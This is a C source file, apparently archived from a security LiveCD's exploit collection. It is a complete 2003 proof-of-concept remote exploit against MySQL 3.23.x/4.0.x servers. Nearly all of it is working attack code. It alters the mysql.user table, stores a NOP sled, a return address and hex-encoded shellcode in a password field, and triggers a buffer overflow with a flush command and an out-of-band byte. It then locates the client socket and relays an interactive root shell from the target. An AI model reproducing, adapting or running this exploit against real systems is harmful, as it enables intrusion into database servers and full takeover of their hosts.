home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / database / mysql / mysql2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  7KB  |  297 lines

  1.  
  2. /* Mysql 3.23.x/4.0.x remote exploit
  3. * proof of concept
  4. * using jmp *eax
  5. * bkbll (bkbll cnhonker.net,bkbll tom.com) 2003/09/12
  6. * compile:gcc -o mysql mysql.c -L/usr/lib/mysql -lmysqlclient
  7. * DO NOT DISTRUBITED IT
  8. */
  9. #include <stdio.h>
  10. #include <stdlib.h>
  11. #include <unistd.h>
  12. #include <errno.h>
  13. #include <sys/socket.h>
  14. #include <sys/types.h>
  15. #include <sys/select.h>
  16. #include <netdb.h>
  17. #include <mysql/mysql.h>
  18.  
  19. #define PAD 19*4*2
  20. #define JMPADDR 0x42125b2b
  21. #define ROOTUSER "root"
  22. #define PORT 3306
  23. #define MYDB "mysql"
  24. #define ALTCOLUMSQL "ALTER TABLE user CHANGE COLUMN Password Password LONGTEXT"
  25. #define LISTUSERSQL "SELECT user FROM mysql.user WHERE user!='root' OR user='root LIMIT 1,1'"
  26. #define FLUSHSQL "\x11\x00\x00\x00\x03\x66\x6C\x75\x73\x68\x20\x70\x72\x69\x76\x69\x6C\x65\x67\x65\x73"
  27. #define BUF 1024
  28.  
  29. MYSQL *conn;
  30. char NOP[]="90";
  31. /*
  32. char shellcode[]=
  33. "31c031db31c9b002"
  34. "cd8085c0751b4b31"
  35. "d2b007cd8031c0b0"
  36. "40cd8089c331c9b1"
  37. "09b025cd80b001cd"
  38. "80b017cd8031c050"
  39. "405089e331c9b0a2"
  40. "cd80b1e089c883e8"
  41. "0af7d04089c731c0"
  42. "404c89e250505257"
  43. "518d4c240431dbb3"
  44. "0ab066cd805983f8"
  45. "017505803a497409"
  46. "e2d231c04089c3cd"
  47. "8089fbb103b03f49"
  48. "cd8041e2f851686e"
  49. "2f7368682f2f6269"
  50. "89e351682d696c70"
  51. "89e251525389e131"
  52. "d231c0b00bcd8090";
  53. */
  54. char shellcode[]=
  55. "db31c03102b0c931"
  56. "c08580cd314b1b74"
  57. "cd07b0d2b0c03180"
  58. "8980cd40b1c931c3"
  59. "cd25b009cd01b080"
  60. "cd17b08050c03180"
  61. "e3895040a2b0c931"
  62. "e0b180cde883c889"
  63. "40d0f70ac031c789"
  64. "e2894c4057525050"
  65. "244c8d51b3db3104"
  66. "cd66b00af8835980"
  67. "800575010974493a"
  68. "c031d2e2cdc38940"
  69. "b1fb8980493fb003"
  70. "e24180cd6e6851f8"
  71. "6868732f69622f2f"
  72. "6851e389706c692d"
  73. "5251e28931e18953"
  74. "b0c031d29080cd0b";
  75.  
  76. int type=1;
  77. struct
  78. {
  79. char *os;
  80. u_long ret;
  81. } targets[] =
  82. {
  83. { "glibc-2.2.93-5", 0x42125b2b },
  84. },v;
  85.  
  86. void usage(char *);
  87. void sqlerror(char *);
  88. MYSQL *mysqlconn(char *server,int port,char *user,char *pass,char *dbname);
  89.  
  90. main(int argc,char **argv)
  91. {
  92. MYSQL_RES *result;
  93. MYSQL_ROW row;
  94. char jmpaddress[8];
  95. char buffer[BUF],muser[20],buf2[800];
  96. my_ulonglong rslines;
  97. struct sockaddr_in clisocket;
  98. int i=0,j,clifd,count,a;
  99. char data1,c;
  100. fd_set fds;
  101. char *server=NULL,*rootpass=NULL;
  102.  
  103. if(argc<3) usage(argv[0]);
  104. while((c = getopt(argc, argv, "d:t:p:"))!= EOF)
  105. {
  106. switch (c)
  107. {
  108. case 'd':
  109. server=optarg;
  110. break;
  111. case 't':
  112. type = atoi(optarg);
  113. if((type > sizeof(targets)/sizeof(v)) || (type < 1))
  114. usage(argv[0]);
  115. break;
  116. case 'p':
  117. rootpass=optarg;
  118. break;
  119. default:
  120. usage(argv[0]);
  121. return 1;
  122. }
  123. }
  124. if(server==NULL || rootpass==NULL)
  125. usage(argv[0]);
  126. memset(muser,0,20);
  127. memset(buf2,0,800);
  128. printf("@-------------------------------------------------@\n");
  129. printf("# Mysql 3.23.x/4.0.x remote exploit(2003/09/12) #\n");
  130. printf("@ by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com @\n");
  131. printf("---------------------------------------------------\n");
  132. printf("[+] Connecting to mysql server %s:%d....",server,PORT);
  133. fflush(stdout);
  134. conn=mysqlconn(server,PORT,ROOTUSER,rootpass,MYDB);
  135. if(conn==NULL) exit(0);
  136. printf("ok\n");
  137. printf("[+] ALTER user column...");
  138. fflush(stdout);
  139. if(mysql_real_query(conn,ALTCOLUMSQL,strlen(ALTCOLUMSQL))!=0)
  140. sqlerror("ALTER user table failed");
  141. //select
  142. printf("ok\n");
  143. printf("[+] Select a valid user...");
  144. fflush(stdout);
  145. if(mysql_real_query(conn,LISTUSERSQL,strlen(LISTUSERSQL))!=0)
  146. sqlerror("select user from table failed");
  147. printf("ok\n");
  148. result=mysql_store_result(conn);
  149. if(result==NULL)
  150. sqlerror("store result error");
  151. rslines=mysql_num_rows(result);
  152. if(rslines==0)
  153. sqlerror("store result error");
  154. row=mysql_fetch_row(result);
  155. snprintf(muser,19,"%s",row[0]);
  156. printf("[+] Found a user:%s\n",muser);
  157. memset(buffer,0,BUF);
  158. i=sprintf(buffer,"update user set password='");
  159. sprintf(jmpaddress,"%x",JMPADDR);
  160. jmpaddress[8]=0;
  161. for(j=0;j<PAD-4;j+=2)
  162. {
  163. memcpy(buf2+j,NOP,2);
  164. }
  165. memcpy(buf2+j,"06eb",4);
  166. memcpy(buf2+PAD,jmpaddress,8);
  167. memcpy(buf2+PAD+8,shellcode,strlen(shellcode));
  168. j=strlen(buf2);
  169. if(j%8)
  170. {
  171. j=j/8+1;
  172. count=j*8-strlen(buf2);
  173. memset(buf2+strlen(buf2),'A',count);
  174. }
  175. printf("[+] Password length:%d\n",strlen(buf2));
  176. memcpy(buffer+i,buf2,strlen(buf2));
  177. i+=strlen(buf2);
  178. i+=sprintf(buffer+i,"' where user='%s'",muser);
  179. mysql_free_result(result);
  180. printf("[+] Modified password...");
  181. fflush(stdout);
  182. //get result
  183. //write(2,buffer,i);
  184. if(mysql_real_query(conn,buffer,i)!=0)
  185. sqlerror("Modified password error");
  186. //here I'll find client socket fd
  187. printf("ok\n");
  188. printf("[+] Finding client socket......");
  189. j=sizeof(clisocket);
  190. for(clifd=3;clifd<256;clifd++)
  191. {
  192. if(getpeername(clifd,(struct sockaddr *)&clisocket,&j)==-1) continue;
  193. if(clisocket.sin_port==htons(PORT)) break;
  194. }
  195. if(clifd==256)
  196. {
  197. printf("FAILED\n[-] Cannot find client socket\n");
  198. mysql_close(conn);
  199. exit(0);
  200. }
  201. data1='I';
  202. printf("ok\n");
  203. printf("[+] socketfd:%d\n",clifd);
  204. //let server overflow
  205. printf("[+] Overflow server....");
  206. fflush(stdout);
  207. send(clifd,FLUSHSQL,sizeof(FLUSHSQL),0);
  208. //if(mysql_real_query(conn,FLUSHSQL,strlen(FLUSHSQL))!=0)
  209. // sqlerror("Flush error");
  210. printf("ok\n");
  211. printf("[+] sending OOB.......");
  212. fflush(stdout);
  213. if(send(clifd,&data1,1,MSG_OOB)<1)
  214. {
  215. perror("error");
  216. mysql_close(conn);
  217. exit(0);
  218. }
  219. printf("ok\r\n");
  220. printf("[+] Waiting a shell.....");
  221. fflush(stdout);
  222. j=0;
  223. memset(buffer,0,BUF);
  224. while(1)
  225. {
  226. FD_ZERO(&fds);
  227. FD_SET(0, &fds);
  228. FD_SET(clifd, &fds);
  229.  
  230. if (select(clifd+1, &fds, NULL, NULL, NULL) < 0)
  231. {
  232. if (errno == EINTR) continue;
  233. break;
  234. }
  235. if (FD_ISSET(0, &fds))
  236. {
  237. count = read(0, buffer, BUF);
  238. if (count <= 0) break;
  239. if (write(clifd, buffer, count) <= 0) break;
  240. memset(buffer,0,BUF);
  241. }
  242. if (FD_ISSET(clifd, &fds))
  243. {
  244. count = read(clifd, buffer, BUF);
  245. if (count <= 0) break;
  246. if(j==0) printf("Ok\n");
  247. j=1;
  248. if (write(1, buffer, count) <= 0) break;
  249. memset(buffer,0,BUF);
  250. }
  251.  
  252. }
  253. }
  254.  
  255. void usage(char *s)
  256. {
  257. int a;
  258. printf("@-------------------------------------------------@\n");
  259. printf("# Mysql 3.23.x/4.0.x remote exploit(2003/09/12) #\n");
  260. printf("@ by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com @\n");
  261. printf("---------------------------------------------------\n");
  262. printf("Usage:%s -d <host> -p <root_pass> -t <type>\n",s);
  263. printf(" -d target host ip/name\n");
  264. printf(" -p 'root' user paasword\n");
  265. printf(" -t type [default:%d]\n",type);
  266. printf(" ------------------------------\n");
  267. for(a = 0; a < sizeof(targets)/sizeof(v); a++)
  268. printf(" %d [0x%.8x]: %s\n", a+1, targets[a].ret, targets[a].os);
  269. printf("\n");
  270. exit(0);
  271. }
  272. MYSQL *mysqlconn(char *server,int port,char *user,char *pass,char *dbname)
  273. {
  274. MYSQL *connect;
  275. connect=mysql_init(NULL);
  276. if(connect==NULL)
  277. {
  278. printf("FAILED\n[-] init mysql failed:%s\n",mysql_error(connect));
  279. return NULL;
  280. }
  281. if(mysql_real_connect(connect,server,user,pass,dbname,port,NULL,0)==NULL)
  282. {
  283. printf("FAILED\n[-] Error: %s\n",mysql_error(connect));
  284. return NULL;
  285. }
  286. return connect;
  287.  
  288. }
  289. void sqlerror(char *s)
  290. {
  291. fprintf(stderr,"FAILED\n[-] %s:%s\n",s,mysql_error(conn));
  292. mysql_close(conn);
  293. exit(0);
  294. }
  295.  
  296. /* woutiir 0wnZ YoU */
  297.